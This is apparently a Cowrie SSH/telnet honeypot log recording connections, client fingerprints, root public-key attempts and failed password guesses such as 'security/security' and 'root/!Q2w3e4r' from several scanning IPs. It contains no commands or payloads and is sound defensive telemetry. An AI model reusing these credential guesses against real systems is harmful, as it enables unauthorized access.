{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:42.113276Z","src_ip":"31.40.204.166","session":"21c3ab845ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd71b5ac9e7a","protocol":"telnet","message":"New connection: 152.42.224.71:46868 (10.17.0.5:23) [session: cd71b5ac9e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:45.981633Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46882,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a55ac3fccc7","protocol":"telnet","message":"New connection: 152.42.224.71:46882 (10.17.0.5:23) [session: 7a55ac3fccc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:46.813498Z"}
{"eventid":"cowrie.session.closed","duration":35.27942419052124,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:49.087385Z","src_ip":"152.42.224.71","session":"9dc7ff7c017c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46892,"dst_ip":"10.17.0.5","dst_port":23,"session":"57314e4d2971","protocol":"telnet","message":"New connection: 152.42.224.71:46892 (10.17.0.5:23) [session: 57314e4d2971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:50.258131Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35852,"dst_ip":"159.203.135.109","dst_port":22,"session":"32b9ecf2796e","protocol":"ssh","message":"New connection: 31.40.204.166:35852 (159.203.135.109:22) [session: 32b9ecf2796e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:51.887130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:51.891876Z","src_ip":"31.40.204.166","session":"32b9ecf2796e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:52.017537Z","src_ip":"31.40.204.166","session":"32b9ecf2796e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:52.491154Z","src_ip":"31.40.204.166","session":"32b9ecf2796e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:53.618907Z","src_ip":"31.40.204.166","session":"32b9ecf2796e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.303515434265137,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:33:55.091540Z","src_ip":"152.42.224.71","session":"36eb5663fa22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36104,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca9dd969914","protocol":"telnet","message":"New connection: 152.42.224.71:36104 (10.17.0.5:23) [session: 4ca9dd969914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:00.048437Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36118,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7fc9247b7d","protocol":"telnet","message":"New connection: 152.42.224.71:36118 (10.17.0.5:23) [session: 7f7fc9247b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:00.805311Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.190.77","src_port":46960,"dst_ip":"10.17.0.5","dst_port":22,"session":"70353c2777b1","protocol":"ssh","message":"New connection: 31.42.190.77:46960 (10.17.0.5:22) [session: 70353c2777b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.110771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.116293Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36122,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2fff8e2667","protocol":"telnet","message":"New connection: 152.42.224.71:36122 (10.17.0.5:23) [session: 5d2fff8e2667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.174445Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.246953Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:e0:be:19:20:8c:16:a7:d6:bf:0d:16:e3:66:c2:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/vlOWbHf2fLccJL9s6jXOZVzuNoMq/ASRB8DNXLxFQrC4O92gtHFlhfzDwOgHinzCIXmTV9TY7XAUFZwzz4XmctMCArYCjJc+htxtmE1ZacgkaOASAjByRYtr/uEHEbNpYcbIR1voB+r3QnGKlbt/hiFaVz05VgbtbHMAgqF5m28dHNSCM7DJ69Dw4gMtW7gh5B8mb9S5GL/5Ucag3bNWxJiej+4rqvHJc/JNYTnDW2uOBMeR2+XWrEKMyljTTA3diEpUJ91RGaFRVc85G6h5FpcOgcjGGyurPV7yUrRXUIDB+KAmhV2WJ/HfxVrAc89ya+UMD1j4kpEUlTjePEEJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:e0:be:19:20:8c:16:a7:d6:bf:0d:16:e3:66:c2:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.848689Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:e0:be:19:20:8c:16:a7:d6:bf:0d:16:e3:66:c2:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/vlOWbHf2fLccJL9s6jXOZVzuNoMq/ASRB8DNXLxFQrC4O92gtHFlhfzDwOgHinzCIXmTV9TY7XAUFZwzz4XmctMCArYCjJc+htxtmE1ZacgkaOASAjByRYtr/uEHEbNpYcbIR1voB+r3QnGKlbt/hiFaVz05VgbtbHMAgqF5m28dHNSCM7DJ69Dw4gMtW7gh5B8mb9S5GL/5Ucag3bNWxJiej+4rqvHJc/JNYTnDW2uOBMeR2+XWrEKMyljTTA3diEpUJ91RGaFRVc85G6h5FpcOgcjGGyurPV7yUrRXUIDB+KAmhV2WJ/HfxVrAc89ya+UMD1j4kpEUlTjePEEJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.852927Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:5b:32:6c:51:67:2b:6f:61:41:2c:13:ef:5a:d9:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn2Dsp0nnQsN9wQpMVG1IpkZu3eE0M+BUHQYwTjsRA3jXgF+8fcnylUv1doHyXKhQOu7HoicImvFbP2rRk/6B2fHGmOusLg5YyBmw92ZJcxNwUx0RAYb5mTDJAiI6g/3F+U/Wh5y9MGKR95H+LC0NQXESN9uAyzed8CVH2/MQJW061X36jSF6UCJidh1YsNABDTMTI1aoYZfP9TTImEDMvFWHqOuv9vQdO3LUgFKnXyb5cQdPTXQNwW360BByM4zypvJjJ84rKipkNuiZJynzpeK5FLTNFrMHeOWfNBIuKAQ90QzcWWm3vXM4SnKPvt+lZWcl2wQ8gFKQ1VKukZ2Mf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:5b:32:6c:51:67:2b:6f:61:41:2c:13:ef:5a:d9:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.982742Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:5b:32:6c:51:67:2b:6f:61:41:2c:13:ef:5a:d9:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn2Dsp0nnQsN9wQpMVG1IpkZu3eE0M+BUHQYwTjsRA3jXgF+8fcnylUv1doHyXKhQOu7HoicImvFbP2rRk/6B2fHGmOusLg5YyBmw92ZJcxNwUx0RAYb5mTDJAiI6g/3F+U/Wh5y9MGKR95H+LC0NQXESN9uAyzed8CVH2/MQJW061X36jSF6UCJidh1YsNABDTMTI1aoYZfP9TTImEDMvFWHqOuv9vQdO3LUgFKnXyb5cQdPTXQNwW360BByM4zypvJjJ84rKipkNuiZJynzpeK5FLTNFrMHeOWfNBIuKAQ90QzcWWm3vXM4SnKPvt+lZWcl2wQ8gFKQ1VKukZ2Mf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:02.987151Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:97:b9:b7:9a:97:ff:0d:8b:fd:e2:25:b0:ba:bd:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5NucNYj8lhL+YcMJN4WaH81HoYh8mZBtziqV7lF9MACVBd6wbEheLDfprWQzOl8WpDnJmTj2en2Hvtr8oHV1dvDPTEcon3m3CRb0yrwlygQIgpnkMMXeRY+4PXLJPA/6Y19NXyzU5TEFvUJyOGuCiz80YnbHGrmjkLAMEfo4ED4ZcO0foie9OyIAvpw2972UEXYfv7igmi/elGJGgc3JSgjtfpHCG3VFAZPTGvEYTnSX1/89HNvTjBgjH3ZA85Kax+RSuqpepxhKWefm8bCbMnbzcEOzs0ySK/qZ03YDl4qLwlDsEijE4jpmup5DJ5A0B/3p3JkytksZ4kcEDibcR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:97:b9:b7:9a:97:ff:0d:8b:fd:e2:25:b0:ba:bd:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.113082Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:97:b9:b7:9a:97:ff:0d:8b:fd:e2:25:b0:ba:bd:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5NucNYj8lhL+YcMJN4WaH81HoYh8mZBtziqV7lF9MACVBd6wbEheLDfprWQzOl8WpDnJmTj2en2Hvtr8oHV1dvDPTEcon3m3CRb0yrwlygQIgpnkMMXeRY+4PXLJPA/6Y19NXyzU5TEFvUJyOGuCiz80YnbHGrmjkLAMEfo4ED4ZcO0foie9OyIAvpw2972UEXYfv7igmi/elGJGgc3JSgjtfpHCG3VFAZPTGvEYTnSX1/89HNvTjBgjH3ZA85Kax+RSuqpepxhKWefm8bCbMnbzcEOzs0ySK/qZ03YDl4qLwlDsEijE4jpmup5DJ5A0B/3p3JkytksZ4kcEDibcR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.117440Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:95:63:cf:10:5d:71:f8:6e:37:21:ac:f7:d7:0b:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsTF7rFO8ky2nL3YaGduxwIXQ0MiKFbXOF4LnR/PAsIvVLAWvIeW36D7295T0YHvPQsq5ugd7fVgoco0keQjsPKlxY1l5DL5hs/Z9UJWF19hISGam52/ytbdad6kHo6GHAyrsAsKtLQcy0h6byD86Himl/ifPpKsjk6PuRtYpMXl0l5wNHHL5R/YuRTes4K2FUScyJY7hZsVghxr9v9xwZznVTbdiRSOWCeAap5l2UfBwlLY/UkUPRrwbyf5sgq1IFC9AtK8dCrzYZabezenn12Gr7XYfzEx1Bipexm/9SGRSjAoFyOEFDLMILHvu14z0k6exeUM2tefxlQ9oy5jdP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:95:63:cf:10:5d:71:f8:6e:37:21:ac:f7:d7:0b:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.242248Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:95:63:cf:10:5d:71:f8:6e:37:21:ac:f7:d7:0b:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsTF7rFO8ky2nL3YaGduxwIXQ0MiKFbXOF4LnR/PAsIvVLAWvIeW36D7295T0YHvPQsq5ugd7fVgoco0keQjsPKlxY1l5DL5hs/Z9UJWF19hISGam52/ytbdad6kHo6GHAyrsAsKtLQcy0h6byD86Himl/ifPpKsjk6PuRtYpMXl0l5wNHHL5R/YuRTes4K2FUScyJY7hZsVghxr9v9xwZznVTbdiRSOWCeAap5l2UfBwlLY/UkUPRrwbyf5sgq1IFC9AtK8dCrzYZabezenn12Gr7XYfzEx1Bipexm/9SGRSjAoFyOEFDLMILHvu14z0k6exeUM2tefxlQ9oy5jdP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.247167Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:9c:c8:a1:5e:fe:ae:38:62:5e:46:7f:5d:88:e7:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUcsTypzFsQ0DSy7lGW7Qh1etGfF9NmJkRipTlKLRFG/gQnwDgx/5ZN7td5DbJGlgKXWaj1rR7zxRLMWuwnfVF9bvIXHCpPUwKnDPsH8pFVsBzhQ2u7qo6uxPxdRkHm2IH3Vztn94zXemL5KPPdl0/naDIiiFbQvfF3nvv5szzF0HzMDdgSaD3Oz9oKUywm7YWlDCiXLmV9y6/ap5srfC8C4jaXCqaLd7R6ApGo+dfZANyEU/czK7E5vk4sUupw0DRJtTBbekC1fPiKOsKQJM52Tqxa9b2DCXuYiFBhWSLs7UiCBk4BQ6w3pQW2YK8/tM/V55cxRCIXIBhiTyr+uPH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:9c:c8:a1:5e:fe:ae:38:62:5e:46:7f:5d:88:e7:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.372537Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:9c:c8:a1:5e:fe:ae:38:62:5e:46:7f:5d:88:e7:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUcsTypzFsQ0DSy7lGW7Qh1etGfF9NmJkRipTlKLRFG/gQnwDgx/5ZN7td5DbJGlgKXWaj1rR7zxRLMWuwnfVF9bvIXHCpPUwKnDPsH8pFVsBzhQ2u7qo6uxPxdRkHm2IH3Vztn94zXemL5KPPdl0/naDIiiFbQvfF3nvv5szzF0HzMDdgSaD3Oz9oKUywm7YWlDCiXLmV9y6/ap5srfC8C4jaXCqaLd7R6ApGo+dfZANyEU/czK7E5vk4sUupw0DRJtTBbekC1fPiKOsKQJM52Tqxa9b2DCXuYiFBhWSLs7UiCBk4BQ6w3pQW2YK8/tM/V55cxRCIXIBhiTyr+uPH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.377589Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:03.506664Z","src_ip":"31.42.190.77","session":"70353c2777b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59078,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a4a528dc510","protocol":"ssh","message":"New connection: 31.40.204.166:59078 (159.203.135.109:22) [session: 7a4a528dc510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:04.021303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:04.026135Z","src_ip":"31.40.204.166","session":"7a4a528dc510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:04.185526Z","src_ip":"31.40.204.166","session":"7a4a528dc510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:04.609984Z","src_ip":"31.40.204.166","session":"7a4a528dc510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:05.796684Z","src_ip":"31.40.204.166","session":"7a4a528dc510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45988,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8197edbdcc","protocol":"telnet","message":"New connection: 152.42.224.71:45988 (10.17.0.5:23) [session: 3b8197edbdcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:06.486844Z"}
{"eventid":"cowrie.session.closed","duration":46.43976449966431,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:08.242678Z","src_ip":"152.42.224.71","session":"2360edbfd424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59160,"dst_ip":"159.203.135.109","dst_port":22,"session":"070cb6a5f8cc","protocol":"ssh","message":"New connection: 31.40.204.166:59160 (159.203.135.109:22) [session: 070cb6a5f8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:14.888110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:14.898219Z","src_ip":"31.40.204.166","session":"070cb6a5f8cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:34:15.026443Z","src_ip":"31.40.204.166","session":"070cb6a5f8cc","protocol":"ssh"}
